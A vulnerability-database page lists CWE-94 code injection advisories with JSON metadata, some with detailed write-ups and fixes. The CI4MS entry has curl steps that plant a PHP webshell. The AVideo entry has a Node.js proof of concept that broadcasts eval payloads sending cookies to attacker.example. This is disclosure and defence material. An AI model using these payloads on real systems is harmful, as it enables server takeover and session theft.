CWE-94
Allowed-with-ReviewImproper Control of Generation of Code ('Code Injection')
Abstraction: Base · Status: Draft
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
8292 vulnerabilities reference this CWE, most recent first.
GHSA-GMH6-6P5F-P6QG
Vulnerability from github – Published: 2022-05-24 16:59 – Updated: 2022-05-24 16:59A Remote Code Execution (RCE) issue in the addon CUx-Daemon 1.11a of the eQ-3 Homematic CCU-Firmware 2.35.16 until 2.45.6 allows remote authenticated attackers to execute system commands as root remotely via a simple HTTP request.
{
"affected": [],
"aliases": [
"CVE-2019-14423"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-10-17T14:15:00Z",
"severity": "HIGH"
},
"details": "A Remote Code Execution (RCE) issue in the addon CUx-Daemon 1.11a of the eQ-3 Homematic CCU-Firmware 2.35.16 until 2.45.6 allows remote authenticated attackers to execute system commands as root remotely via a simple HTTP request.",
"id": "GHSA-gmh6-6p5f-p6qg",
"modified": "2022-05-24T16:59:13Z",
"published": "2022-05-24T16:59:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-14423"
},
{
"type": "WEB",
"url": "https://noskill1337.github.io/homematic-with-cux-daemon-remote-code-execution"
},
{
"type": "WEB",
"url": "https://www.eq-3.com/products/homematic.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-GMP7-7PJX-93MF
Vulnerability from github – Published: 2022-05-02 06:19 – Updated: 2022-05-02 06:19PHP remote file inclusion vulnerability in cgi/index.php in AdvertisementManager 3.1.0 allows remote attackers to execute arbitrary PHP code via a URL in the req parameter. NOTE: this can also be leveraged to include and execute arbitrary local files via .. (dot dot) sequences.
{
"affected": [],
"aliases": [
"CVE-2010-1106"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2010-03-25T17:30:00Z",
"severity": "HIGH"
},
"details": "PHP remote file inclusion vulnerability in cgi/index.php in AdvertisementManager 3.1.0 allows remote attackers to execute arbitrary PHP code via a URL in the req parameter. NOTE: this can also be leveraged to include and execute arbitrary local files via .. (dot dot) sequences.",
"id": "GHSA-gmp7-7pjx-93mf",
"modified": "2022-05-02T06:19:06Z",
"published": "2022-05-02T06:19:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2010-1106"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/55756"
},
{
"type": "WEB",
"url": "http://www.packetstormsecurity.com/1001-exploits/advertisemanager-xssrfitraversal.txt"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-GMXM-2P67-967R
Vulnerability from github – Published: 2025-12-15 18:30 – Updated: 2025-12-16 18:31An SSTI (Server-Side Template Injection) vulnerability exists in the get_dunning_letter_text method of Frappe ERPNext through 15.89.0. The function renders attacker-controlled Jinja2 templates (body_text) using frappe.render_template() with a user-supplied context (doc). Although Frappe uses a custom SandboxedEnvironment, several dangerous globals such as frappe.db.sql are still available in the execution context via get_safe_globals(). An authenticated attacker with access to configure Dunning Type and its child table Dunning Letter Text can inject arbitrary Jinja expressions, resulting in server-side code execution within a restricted but still unsafe context. This can leak database information.
{
"affected": [],
"aliases": [
"CVE-2025-66434"
],
"database_specific": {
"cwe_ids": [
"CWE-1336",
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-15T17:15:53Z",
"severity": "CRITICAL"
},
"details": "An SSTI (Server-Side Template Injection) vulnerability exists in the get_dunning_letter_text method of Frappe ERPNext through 15.89.0. The function renders attacker-controlled Jinja2 templates (body_text) using frappe.render_template() with a user-supplied context (doc). Although Frappe uses a custom SandboxedEnvironment, several dangerous globals such as frappe.db.sql are still available in the execution context via get_safe_globals(). An authenticated attacker with access to configure Dunning Type and its child table Dunning Letter Text can inject arbitrary Jinja expressions, resulting in server-side code execution within a restricted but still unsafe context. This can leak database information.",
"id": "GHSA-gmxm-2p67-967r",
"modified": "2025-12-16T18:31:31Z",
"published": "2025-12-15T18:30:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66434"
},
{
"type": "WEB",
"url": "https://iamanc.github.io/post/erpnext-ssti-bug-1"
},
{
"type": "WEB",
"url": "https://www.notion.so/SSTI-bug-1-239e6086eadc8096bfcfe90551a3a483?source=copy_link"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-GP2G-R8RQ-Q4J9
Vulnerability from github – Published: 2022-05-02 06:09 – Updated: 2025-04-11 03:31The URL validation functionality in Microsoft Internet Explorer 5.01, 6, 6 SP1, 7 and 8, and the ShellExecute API function in Windows 2000 SP4, XP SP2 and SP3, and Server 2003 SP2, does not properly process input parameters, which allows remote attackers to execute arbitrary local programs via a crafted URL, aka "URL Validation Vulnerability."
{
"affected": [],
"aliases": [
"CVE-2010-0027"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2010-01-22T22:00:00Z",
"severity": "HIGH"
},
"details": "The URL validation functionality in Microsoft Internet Explorer 5.01, 6, 6 SP1, 7 and 8, and the ShellExecute API function in Windows 2000 SP4, XP SP2 and SP3, and Server 2003 SP2, does not properly process input parameters, which allows remote attackers to execute arbitrary local programs via a crafted URL, aka \"URL Validation Vulnerability.\"",
"id": "GHSA-gp2g-r8rq-q4j9",
"modified": "2025-04-11T03:31:01Z",
"published": "2022-05-02T06:09:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2010-0027"
},
{
"type": "WEB",
"url": "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2010/ms10-002"
},
{
"type": "WEB",
"url": "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2010/ms10-007"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/55773"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A8464"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/509470/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.us-cert.gov/cas/techalerts/TA10-040A.html"
},
{
"type": "WEB",
"url": "http://www.zerodayinitiative.com/advisories/ZDI-10-016"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-GP55-63JP-32X8
Vulnerability from github – Published: 2022-05-14 01:49 – Updated: 2022-05-14 01:49Adobe Flash Player before 13.0.0.259 and 14.x through 16.x before 16.0.0.235 on Windows and OS X and before 11.2.202.425 on Linux allows attackers to execute arbitrary code or cause a denial of service (memory corruption) via unspecified vectors, a different vulnerability than CVE-2014-9164.
{
"affected": [],
"aliases": [
"CVE-2014-0587"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-12-10T21:59:00Z",
"severity": "HIGH"
},
"details": "Adobe Flash Player before 13.0.0.259 and 14.x through 16.x before 16.0.0.235 on Windows and OS X and before 11.2.202.425 on Linux allows attackers to execute arbitrary code or cause a denial of service (memory corruption) via unspecified vectors, a different vulnerability than CVE-2014-9164.",
"id": "GHSA-gp55-63jp-32x8",
"modified": "2022-05-14T01:49:03Z",
"published": "2022-05-14T01:49:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-0587"
},
{
"type": "WEB",
"url": "http://helpx.adobe.com/security/products/flash-player/apsb14-27.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-GP56-F67F-M4PX
Vulnerability from github – Published: 2026-02-02 21:52 – Updated: 2026-02-04 17:45Summary
A critical vulnerability has been identified in CI4MS that allows an authenticated user with file editor permissions to achieve Remote Code Execution (RCE). By leveraging the file creation and save endpoints, an attacker can upload and execute arbitrary PHP code on the server.
Vulnerability Details
The vulnerability exists in the /backend/fileeditor/createFile and /backend/fileeditor/save API endpoints.
Unrestricted File Creation: The createFile endpoint allows users to create files with any extension (including .php) in web-accessible directories such as /public.
Arbitrary Content Injection: The save endpoint allows users to write arbitrary content into the created files without sufficient server-side validation or sanitization.
An attacker can combine these two flaws to create a PHP webshell and execute system-level commands, leading to a complete compromise of the web server.
Impact
Successful exploitation allows:
Full access to the server's file system and databases.
Execution of arbitrary OS commands.
Permanent modification or deletion of application data.
Steps to Reproduce
Log in to an account with permissions to use the file editor.
Create a new PHP file in a public directory using the following request:
curl -X POST '[SERVER_URL]/backend/fileeditor/createFile' -d 'path=/public' -d 'name=exploit.php'
Inject a PHP payload into the file using the save endpoint:
curl -X POST '[SERVER_URL]/backend/fileeditor/save' -H 'Content-Type: application/json' -d '{"path":"/public/exploit.php","content":"<?php echo shell_exec($_GET[\"cmd\"]); ?>"}'
Access the file via the browser to execute commands: https://[SERVER_URL]/exploit.php?cmd=whoami
Suggested Mitigation
Path Validation: Restrict file operations to non-executable directories.
Extension Whitelisting: Strictly allow only safe file extensions (e.g., .css, .js, .txt) and block executable extensions like .php, .phtml, etc.
Content Sanitization: Implement server-side checks to prevent the injection of malicious code patterns.
Execution Prevention: Disable PHP execution in public/upload directories via server configuration (e.g., .htaccess or Nginx config).
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "ci4-cms-erp/ci4ms"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.28.5.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-25510"
],
"database_specific": {
"cwe_ids": [
"CWE-434",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-02T21:52:58Z",
"nvd_published_at": "2026-02-03T22:16:31Z",
"severity": "CRITICAL"
},
"details": "**Summary**\n\nA critical vulnerability has been identified in CI4MS that allows an authenticated user with file editor permissions to achieve Remote Code Execution (RCE). By leveraging the file creation and save endpoints, an attacker can upload and execute arbitrary PHP code on the server.\n\n**Vulnerability Details**\n\nThe vulnerability exists in the /backend/fileeditor/createFile and /backend/fileeditor/save API endpoints.\n\nUnrestricted File Creation: The createFile endpoint allows users to create files with any extension (including .php) in web-accessible directories such as /public.\n\nArbitrary Content Injection: The save endpoint allows users to write arbitrary content into the created files without sufficient server-side validation or sanitization.\n\nAn attacker can combine these two flaws to create a PHP webshell and execute system-level commands, leading to a complete compromise of the web server.\n\n**Impact**\n\nSuccessful exploitation allows:\n\nFull access to the server\u0027s file system and databases.\n\nExecution of arbitrary OS commands.\n\nPermanent modification or deletion of application data.\n\nSteps to Reproduce\n\nLog in to an account with permissions to use the file editor.\n\nCreate a new PHP file in a public directory using the following request:\n\n```\ncurl -X POST \u0027[SERVER_URL]/backend/fileeditor/createFile\u0027 -d \u0027path=/public\u0027 -d \u0027name=exploit.php\u0027\n```\n\nInject a PHP payload into the file using the save endpoint:\n\n```\ncurl -X POST \u0027[SERVER_URL]/backend/fileeditor/save\u0027 -H \u0027Content-Type: application/json\u0027 -d \u0027{\"path\":\"/public/exploit.php\",\"content\":\"\u003c?php echo shell_exec($_GET[\\\"cmd\\\"]); ?\u003e\"}\u0027\n```\n\nAccess the file via the browser to execute commands: https://[SERVER_URL]/exploit.php?cmd=whoami\n\nSuggested Mitigation\n\nPath Validation: Restrict file operations to non-executable directories.\n\nExtension Whitelisting: Strictly allow only safe file extensions (e.g., .css, .js, .txt) and block executable extensions like .php, .phtml, etc.\n\nContent Sanitization: Implement server-side checks to prevent the injection of malicious code patterns.\n\nExecution Prevention: Disable PHP execution in public/upload directories via server configuration (e.g., .htaccess or Nginx config).",
"id": "GHSA-gp56-f67f-m4px",
"modified": "2026-02-04T17:45:59Z",
"published": "2026-02-02T21:52:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-gp56-f67f-m4px"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25510"
},
{
"type": "WEB",
"url": "https://github.com/ci4-cms-erp/ci4ms/commit/86be2930d1c54eb7575102563302b2f3bafcb653"
},
{
"type": "PACKAGE",
"url": "https://github.com/ci4-cms-erp/ci4ms"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "CI4MS Vulnerable to Remote Code Execution (RCE) via Arbitrary File Creation and Save in File Editor"
}
GHSA-GP5H-F9C5-8355
Vulnerability from github – Published: 2025-05-29 15:31 – Updated: 2025-06-05 00:34A vulnerability classified as critical was found in aimhubio aim up to 3.29.1. This vulnerability affects the function RestrictedPythonQuery of the file /aim/storage/query.py of the component run_view Object Handler. The manipulation of the argument Query leads to sandbox issue. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "aim"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "3.29.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-5321"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2025-06-05T00:34:03Z",
"nvd_published_at": "2025-05-29T15:15:34Z",
"severity": "LOW"
},
"details": "A vulnerability classified as critical was found in aimhubio aim up to 3.29.1. This vulnerability affects the function RestrictedPythonQuery of the file /aim/storage/query.py of the component run_view Object Handler. The manipulation of the argument Query leads to sandbox issue. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-gp5h-f9c5-8355",
"modified": "2025-06-05T00:34:03Z",
"published": "2025-05-29T15:31:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-5321"
},
{
"type": "WEB",
"url": "https://gist.github.com/superboy-zjc/1fc4747a0ac77a1edc8c32e1d4edc54c"
},
{
"type": "PACKAGE",
"url": "https://github.com/aimhubio/aim"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.310492"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.310492"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.580253"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Aim Vulnerable to Sandbox Escape Leading to Remote Code Execution"
}
GHSA-GP89-9GQ6-C85W
Vulnerability from github – Published: 2022-05-17 02:18 – Updated: 2022-05-17 02:18Unspecified vulnerability in PHPCow allows remote attackers to execute arbitrary code via unknown vectors, related to a "file inclusion vulnerability," as exploited in the wild in November 2008.
{
"affected": [],
"aliases": [
"CVE-2008-5227"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-11-25T23:30:00Z",
"severity": "HIGH"
},
"details": "Unspecified vulnerability in PHPCow allows remote attackers to execute arbitrary code via unknown vectors, related to a \"file inclusion vulnerability,\" as exploited in the wild in November 2008.",
"id": "GHSA-gp89-9gq6-c85w",
"modified": "2022-05-17T02:18:01Z",
"published": "2022-05-17T02:18:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-5227"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/46714"
},
{
"type": "WEB",
"url": "http://www.kb.cert.org/vuls/id/515417"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/32361"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-GP95-49CG-49JC
Vulnerability from github – Published: 2024-08-12 15:30 – Updated: 2024-08-23 18:32A Stored Cross Site Scripting (XSS) vulnerability was found in "/view_type.php" of Kashipara Live Membership System v1.0, which allows remote attackers to execute arbitrary code via membershipType parameter.
{
"affected": [],
"aliases": [
"CVE-2024-40487"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-12T13:38:29Z",
"severity": "HIGH"
},
"details": "A Stored Cross Site Scripting (XSS) vulnerability was found in \"/view_type.php\" of Kashipara Live Membership System v1.0, which allows remote attackers to execute arbitrary code via membershipType parameter.",
"id": "GHSA-gp95-49cg-49jc",
"modified": "2024-08-23T18:32:59Z",
"published": "2024-08-12T15:30:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-40487"
},
{
"type": "WEB",
"url": "https://github.com/takekaramey/CVE_Writeup/blob/main/Kashipara/Live%20Membership%20System%20v1.0/Stored%20XSS.pdf"
},
{
"type": "WEB",
"url": "https://www.kashipara.com/project/php/12997/live-membership-system-in-php-php-project-source-code"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-GPH2-J4C9-VHHR
Vulnerability from github – Published: 2026-04-14 22:50 – Updated: 2026-04-24 20:30Summary
The YPTSocket plugin's WebSocket server relays attacker-supplied JSON message bodies to every connected client without sanitizing the msg or callback fields. On the client side, plugin/YPTSocket/script.js contains two eval() sinks fed directly by those relayed fields (json.msg.autoEvalCodeOnHTML at line 568 and json.callback at line 95). Because tokens are minted for anonymous visitors and never revalidated beyond decryption, an unauthenticated attacker can broadcast arbitrary JavaScript that executes in the origin of every currently-connected user (including administrators), resulting in universal account takeover, session theft, and privileged action execution.
Details
Token issuance is unauthenticated
plugin/YPTSocket/getWebSocket.json.php:11-21 returns a token to anyone whose request reaches the endpoint — the only check is that the plugin is enabled:
if(!AVideoPlugin::isEnabledByName("YPTSocket")){
$obj->msg = "Socket plugin not enabled";
die(json_encode($obj));
}
$obj->error = false;
$obj->webSocketToken = getEncryptedInfo(0);
$obj->webSocketURL = YPTSocket::getWebSocketURL();
getEncryptedInfo() in plugin/YPTSocket/functions.php:3-16 populates from_users_id = User::getId() (0 for guests) and isAdmin = User::isAdmin() (false for guests). The issued token is accepted by the WebSocket server's onOpen handler (Message.php:44-52) solely by successful decryption — there is no requirement for the connecting principal to be authenticated.
Server relays attacker JSON verbatim
plugin/YPTSocket/Message.php:191-245 — the default branch of onMessage only rewrites from_identification:
public function onMessage(ConnectionInterface $from, $msg) {
...
$json = _json_decode($msg);
if (empty($json->webSocketToken)) { return false; }
if (!$msgObj = getDecryptedInfo($json->webSocketToken)) { return false; }
switch ($json->msg) {
...
default:
$this->msgToArray($json);
if (isset($json['from_identification'])) {
$json['from_identification'] = strip_tags((string)($msgObj->user_name ?? ''));
}
...
} else {
$this->msgToAll($from, $json); // broadcast
}
break;
}
}
msgToResourceId() at Message.php:297-310 copies the attacker-controlled callback and msg fields into the outbound payload:
if (isset($msg['callback'])) {
$obj['callback'] = $msg['callback']; // tainted
...
}
...
} else if (!empty($msg['msg'])) {
$obj['msg'] = $msg['msg']; // tainted — entire object forwarded verbatim
}
$obj is JSON-encoded at line 335 and sent to every connected client.
Client-side sink #1: autoEvalCodeOnHTML → eval
plugin/YPTSocket/script.js:163-169 (raw WebSocket transport) sets every inbound frame as yptSocketResponse and unconditionally calls parseSocketResponse():
connWS.onmessage = function (e) {
var json = JSON.parse(e.data);
...
yptSocketResponse = json;
parseSocketResponse();
...
};
parseSocketResponse() at script.js:545-569 reaches the sink:
async function parseSocketResponse() {
const json = yptSocketResponse;
...
if (json.msg?.autoEvalCodeOnHTML !== undefined) {
eval(json.msg.autoEvalCodeOnHTML); // <-- attacker-controlled
}
...
}
Client-side sink #2: json.callback → eval
plugin/YPTSocket/script.js:91-95 — processSocketJson() concatenates attacker-controlled json.callback into an eval'd string. This path is reachable on BOTH transports: the raw WebSocket branch (script.js:182) and the Socket.IO branch (script.js:339 via socket.on("message", (data) => { … processSocketJson(data) })):
if (json.callback) {
var code = "if (typeof " + json.callback + " == 'function') { myfunc = " + json.callback + "; } else { myfunc = defaultCallback; }";
socketLog('Executing callback:', json.callback);
eval(code);
...
}
Because json.callback is interpolated as raw source, a payload like alert(document.cookie);window.x breaks out of the typeof expression and executes during the condition evaluation.
PoC
Prerequisite: target is running AVideo with the YPTSocket plugin enabled (default on most installs).
Step 1 — obtain a token anonymously (no cookies, no auth):
curl -s 'https://target.example/plugin/YPTSocket/getWebSocket.json.php'
Expected output (abbreviated):
{"error":false,"msg":"","webSocketToken":"<long encrypted token>","webSocketURL":"wss://target.example:8888/?webSocketToken=<token>&..."}
Step 2 — connect to the WebSocket endpoint using the returned webSocketURL. A minimal Node.js client:
const WebSocket = require('ws');
const TOKEN = '<token from step 1>';
const URL = '<webSocketURL from step 1>';
const ws = new WebSocket(URL, { rejectUnauthorized: false });
ws.on('open', () => {
// Payload 1 — primary sink (raw WebSocket transport):
ws.send(JSON.stringify({
webSocketToken: TOKEN,
msg: {
autoEvalCodeOnHTML:
"fetch('https://attacker.example/x?c='+encodeURIComponent(document.cookie));" +
"alert('XSS as '+document.domain);"
}
}));
// Payload 2 — secondary sink (reaches both raw WS and Socket.IO clients):
ws.send(JSON.stringify({
webSocketToken: TOKEN,
msg: "p",
callback: "alert(document.domain);window.x"
}));
});
Step 3 — observe impact. Every other user currently connected to the same AVideo instance (via any page that loads YPTSocket's script.js — the global footer, the admin dashboard, live streams, video pages) receives the broadcast. In their browser:
- Payload 1 reaches
parseSocketResponse()at line 568 and evaluateseval(json.msg.autoEvalCodeOnHTML), firing the exfiltration request toattacker.examplewithdocument.cookie. - Payload 2 reaches
processSocketJson()at line 95; the synthesizedcodestring isif (typeof alert(document.domain);window.x == 'function') { ... }, which executesalert(document.domain)during thetypeofevaluation.
Any administrator who is online at the moment of the broadcast has their session cookie exfiltrated and/or arbitrary actions performed in their browser context.
Impact
A single unauthenticated request and one WebSocket frame grants the attacker universal client-side code execution across every user currently connected to the target AVideo instance. Concretely:
- Session theft of every connected user, including administrators (note:
HttpOnlydoes not help because the attacker's JS runs in-origin and can call privileged endpoints directly without ever reading cookies). - Privileged action execution on behalf of any admin who happens to be online — including plugin installation (
GHSA-v8jw-8w5p-23g3shows admin plugin ZIP upload is already an RCE primitive), user promotion/demotion, video deletion, configuration changes. - Stored cross-user JS persistence via
localStorage, IndexedDB, or re-submitting the payload as a comment/title through admin credentials. - Financial redirection (payment flows, crypto-donation addresses) and phishing via arbitrary DOM rewriting of the authentic AVideo origin.
- The scope change (S:C) is genuine: an unauthenticated (or low-privileged) attacker's actions cross the trust boundary into every other user's browser authorization context, including admin.
Recommended Fix
Multiple defense-in-depth layers are required:
1. Remove the client-side eval sinks entirely. plugin/YPTSocket/script.js:
- if (json.msg?.autoEvalCodeOnHTML !== undefined) {
- eval(json.msg.autoEvalCodeOnHTML);
- }
No legitimate server flow should push arbitrary JavaScript through a broadcast channel — if server-driven UI updates are needed, use structured data and predefined handler functions.
Replace the callback dispatch at lines 91-95 with a strict name-based lookup against a predefined allowlist:
- if (json.callback) {
- var code = "if (typeof " + json.callback + " == 'function') { myfunc = " + json.callback + "; } else { myfunc = defaultCallback; }";
- eval(code);
- ...
- } else {
- myfunc = defaultCallback;
- }
+ var ALLOWED_CALLBACKS = ['socketNewConnection', 'socketDisconnection', /* ... */];
+ if (typeof json.callback === 'string' && ALLOWED_CALLBACKS.indexOf(json.callback) !== -1
+ && typeof window[json.callback] === 'function') {
+ myfunc = window[json.callback];
+ const event = new CustomEvent(json.callback, { detail: _details });
+ document.dispatchEvent(event);
+ } else {
+ myfunc = defaultCallback;
+ }
2. Server-side: allowlist keys on relayed msg objects. In plugin/YPTSocket/Message.php::onMessage() default branch, whitelist the fields permitted in relayed broadcasts rather than forwarding $msg['msg'] verbatim:
// At top of default branch, after msgToArray:
$ALLOWED_MSG_KEYS = ['type', 'text', 'videos_id', 'users_id', /* ... */];
if (isset($json['msg']) && is_array($json['msg'])) {
$json['msg'] = array_intersect_key($json['msg'], array_flip($ALLOWED_MSG_KEYS));
}
// Similarly sanitize callback:
if (isset($json['callback']) && !preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*$/', (string)$json['callback'])) {
unset($json['callback']);
}
3. Restrict token issuance and sender privileges. plugin/YPTSocket/getWebSocket.json.php should require authentication (or at least reject anonymous broadcast capability). Unprivileged senders should not be permitted to trigger msgToAll at all — the default branch of onMessage should require $msgObj->isAdmin (or equivalent) before allowing broadcasts, since there is no legitimate reason for arbitrary clients to originate system-wide messages.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "wwbn/avideo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "29.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-40911"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-14T22:50:05Z",
"nvd_published_at": "2026-04-21T21:16:45Z",
"severity": "CRITICAL"
},
"details": "## Summary\n\nThe YPTSocket plugin\u0027s WebSocket server relays attacker-supplied JSON message bodies to every connected client without sanitizing the `msg` or `callback` fields. On the client side, `plugin/YPTSocket/script.js` contains two `eval()` sinks fed directly by those relayed fields (`json.msg.autoEvalCodeOnHTML` at line 568 and `json.callback` at line 95). Because tokens are minted for anonymous visitors and never revalidated beyond decryption, an unauthenticated attacker can broadcast arbitrary JavaScript that executes in the origin of every currently-connected user (including administrators), resulting in universal account takeover, session theft, and privileged action execution.\n\n## Details\n\n### Token issuance is unauthenticated\n\n`plugin/YPTSocket/getWebSocket.json.php:11-21` returns a token to anyone whose request reaches the endpoint \u2014 the only check is that the plugin is enabled:\n\n```php\nif(!AVideoPlugin::isEnabledByName(\"YPTSocket\")){\n $obj-\u003emsg = \"Socket plugin not enabled\";\n die(json_encode($obj));\n}\n$obj-\u003eerror = false;\n$obj-\u003ewebSocketToken = getEncryptedInfo(0);\n$obj-\u003ewebSocketURL = YPTSocket::getWebSocketURL();\n```\n\n`getEncryptedInfo()` in `plugin/YPTSocket/functions.php:3-16` populates `from_users_id = User::getId()` (0 for guests) and `isAdmin = User::isAdmin()` (false for guests). The issued token is accepted by the WebSocket server\u0027s `onOpen` handler (`Message.php:44-52`) solely by successful decryption \u2014 there is no requirement for the connecting principal to be authenticated.\n\n### Server relays attacker JSON verbatim\n\n`plugin/YPTSocket/Message.php:191-245` \u2014 the default branch of `onMessage` only rewrites `from_identification`:\n\n```php\npublic function onMessage(ConnectionInterface $from, $msg) {\n ...\n $json = _json_decode($msg);\n if (empty($json-\u003ewebSocketToken)) { return false; }\n if (!$msgObj = getDecryptedInfo($json-\u003ewebSocketToken)) { return false; }\n\n switch ($json-\u003emsg) {\n ...\n default:\n $this-\u003emsgToArray($json);\n if (isset($json[\u0027from_identification\u0027])) {\n $json[\u0027from_identification\u0027] = strip_tags((string)($msgObj-\u003euser_name ?? \u0027\u0027));\n }\n ...\n } else {\n $this-\u003emsgToAll($from, $json); // broadcast\n }\n break;\n }\n}\n```\n\n`msgToResourceId()` at `Message.php:297-310` copies the attacker-controlled `callback` and `msg` fields into the outbound payload:\n\n```php\nif (isset($msg[\u0027callback\u0027])) {\n $obj[\u0027callback\u0027] = $msg[\u0027callback\u0027]; // tainted\n ...\n}\n...\n} else if (!empty($msg[\u0027msg\u0027])) {\n $obj[\u0027msg\u0027] = $msg[\u0027msg\u0027]; // tainted \u2014 entire object forwarded verbatim\n}\n```\n\n`$obj` is JSON-encoded at line 335 and sent to every connected client.\n\n### Client-side sink #1: `autoEvalCodeOnHTML` \u2192 eval\n\n`plugin/YPTSocket/script.js:163-169` (raw WebSocket transport) sets every inbound frame as `yptSocketResponse` and unconditionally calls `parseSocketResponse()`:\n\n```js\nconnWS.onmessage = function (e) {\n var json = JSON.parse(e.data);\n ...\n yptSocketResponse = json;\n parseSocketResponse();\n ...\n};\n```\n\n`parseSocketResponse()` at `script.js:545-569` reaches the sink:\n\n```js\nasync function parseSocketResponse() {\n const json = yptSocketResponse;\n ...\n if (json.msg?.autoEvalCodeOnHTML !== undefined) {\n eval(json.msg.autoEvalCodeOnHTML); // \u003c-- attacker-controlled\n }\n ...\n}\n```\n\n### Client-side sink #2: `json.callback` \u2192 eval\n\n`plugin/YPTSocket/script.js:91-95` \u2014 `processSocketJson()` concatenates attacker-controlled `json.callback` into an eval\u0027d string. This path is reachable on BOTH transports: the raw WebSocket branch (`script.js:182`) and the Socket.IO branch (`script.js:339` via `socket.on(\"message\", (data) =\u003e { \u2026 processSocketJson(data) })`):\n\n```js\nif (json.callback) {\n var code = \"if (typeof \" + json.callback + \" == \u0027function\u0027) { myfunc = \" + json.callback + \"; } else { myfunc = defaultCallback; }\";\n socketLog(\u0027Executing callback:\u0027, json.callback);\n eval(code);\n ...\n}\n```\n\nBecause `json.callback` is interpolated as raw source, a payload like `alert(document.cookie);window.x` breaks out of the `typeof` expression and executes during the condition evaluation.\n\n## PoC\n\nPrerequisite: target is running AVideo with the YPTSocket plugin enabled (default on most installs).\n\n**Step 1 \u2014 obtain a token anonymously** (no cookies, no auth):\n\n```bash\ncurl -s 